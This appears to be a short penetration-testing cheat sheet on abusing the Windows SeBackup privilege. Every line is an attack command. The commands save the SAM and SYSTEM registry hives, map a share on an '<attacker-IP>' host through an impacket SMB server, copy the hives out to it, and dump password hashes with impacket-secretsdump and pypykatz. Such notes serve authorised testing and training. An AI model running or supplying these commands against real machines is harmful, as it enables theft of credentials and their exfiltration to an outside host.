SeBackup
Exploitation
# Move to a writeable directory
cd c:\windows\temp
# Copy the SAM and SYSTEM hives
reg save hklm\sam c:\windows\temp\sam
reg save hklm\system c:\windows\temp\system# Start an SMB server
sudo impacket-smbserver share -smb2support / -user test -password test# Connect to the share
net use z: \\<attacker-IP>\share /user:test test
# Copy the hives
copy sam z:\
copy system z:\# Dump creds with impacket
impacket-secretsdump -sam sam -system system LOCAL
# Dump creds with pypykatz
pypykatz registry --sam sam systemLast updated